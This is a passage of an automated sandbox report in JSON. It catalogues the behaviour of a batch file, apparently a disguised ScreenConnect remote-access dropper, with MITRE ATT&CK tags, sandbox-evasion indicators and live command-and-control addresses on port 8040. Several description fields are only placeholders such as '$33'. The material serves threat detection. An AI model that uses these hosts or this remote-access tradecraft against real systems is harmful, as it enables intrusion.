\"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"netsh.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00005336-00000C17-1210916962","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"sc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$34","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00006472)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"163.245.215.154:8040\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"select * from Win32_OperatingSystem\" (Source: 00000000-00007248.00000000.141465.EED6B000.00000002.mdmp, Indicator: \"select * from win32_operatingsystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to add users to a group (API string)","description":"Found reference to API \"NetGroupAdd\" (Indicator: \"NetGroupAdd\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"NetGroupAddUser\" (Indicator: \"NetGroupAdd\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"NetGroupAddUser\" (Indicator: \"NetGroupAddUser\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-215","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"Found reference to API \"NetUserAdd\" (Indicator: \"NetUserAdd\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00006472-00000C47-13741485492\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006472-00000C47-13741485492\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartService: OpenService\" (Indicator: \"StartService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"StartService\" (Indicator: \"StartService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process netsh.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile\"\n Process netsh.exe created mutex with name \"Global\\RasPbFile\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Detected file retrieval based on search patterns","description":"Process \"where.exe\" with commandline \"where msiexec\" (UID: 00000000-00002232)\n Process \"where.exe\" with commandline \"where powershell\" (UID: 00000000-00007744)\n Process \"where.exe\" with commandline \"where curl\" (UID: 00000000-00005524)\n Process \"where.exe\" with commandline \"where curl\" (UID: 00000000-00000740)","origin":"Monitored Target","mitre_attack_id":"T1083","id":"target-424","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\SSA_DocumentViewer.bat\" \"\" (UID: 00000000-00006472)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"support@screenconnect.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"\"Software\\Microsoft\\Windows NT\\CurrentVersion\" in Source: 00000000-00007200.00000000.140109.96B80000.00000002.mdmp\n \"Software\\Microsoft\\Windows NT\\CurrentVersion\\Server\\ServerLevels\" in Source: 00000000-00007200.00000000.140109.96B80000.00000002.mdmp\n \"SOFTWARE\\Microsoft\\NetSh\" in Source: 00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\n \"System\\CurrentControlSet\\Services\\RemoteAccess\\Parameters\" in Source: 00000000-00007248.00000000.141465.EED6B000.00000002.mdmp","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"netsh.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at F3EC0000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at F3EC0000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F2510000\n \"net.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at F1FC0000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F2510000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at F1FC0000\n \"where.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F2510000\n \"sc.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F2510000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F2510000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at F1FC0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F5AE0000\n \"net.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F5AE0000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F5AE0000\n \"where.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F5AE0000\n \"sc.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F5AE0000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F5AE0000\n \"curl.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F5AE0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"SSA _Document Viewer.bat\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$39","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00000160.00000000.142109.F96BB000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp\")\n Found string \"WLDAP32.dll\" (Source: \"00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00006852.00000000.142753.B7D40000.00000004.mdmp\")\n Found string \"WLDAP32.dll\" (Source: \"00000000-00006852.00000000.142753.B7D40000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00007004.00000000.142431.466AB000.00000004.mdmp\")\n Found string \"WLDAP32.dll\" (Source: \"00000000-00007004.00000000.142431.466CA000.00000004.mdmp\")\n Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$3b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$3c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"cmd.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ScreenConnect_Install.log\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"CreateService\" (Indicator: \"CreateService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"RtlCreateServiceSid\" (Indicator: \"CreateService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")\n Found reference to API \"CreateServiceW\" (Indicator: \"CreateService\"; Source: \"00000000-00004504.00000000.140498.2823B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"curl.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"ScreenConnect_Install.log\" has type \"ASCII text with CRLF line terminators\"- Location: [%TEMP%\\ScreenConnect_Install.log]- [targetUID: 00000000-00006472]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$3e","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\ssa_documentviewer.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\Server\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Reference\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Connect\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\FLTLIB.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140_1.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140_1.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"netsh.exe\" trying to access non-existent file \"C:\\Windows\\System32\\MFC42LOC.DLL\"\n \"netsh.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\MFC42LOC.DLL\"\n \"netsh.exe\" trying to access non-existent file \"C:\\Windows\\System32\\MFC42LOC.DLL.DLL\"\n \"netsh.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\MFC42LOC.DLL.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\AppLocker\\MDM\"\n \"net.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\net1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"cmd.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\screenconnect_install.log\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"cmd.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ScreenConnect_Install.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2W\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"NetShareGetInfo\" (Indicator: \"NetShareGetInfo\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")\n Found reference to API \"NetShareEnum\" (Indicator: \"NetShareEnum\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Detects NETSH process execution","description":"$41","origin":"Monitored Target","mitre_attack_id":"T1562.004","relevance":2,"id":"target-186","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$42","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$43","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://163.245.215.154:8040\"Found ip/domain with port number \"http://172.245.244.73:8040\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"ncacn_np\" (Indicator: \"ncacn_np\"; Source: \"00000000-00007200.00000000.140109.F4AD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetNtProductType\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6aa91d4692fd417a73088368"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyW\" in \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00007200.00000000.140109.96B80000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\"\n Found registry query API: \"RegQueryInfoKeyW\" in \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\"\n Found registry query API: \"RegEnumValueW\" in \"00000000-00007248.00000000.141465.EED6B000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in 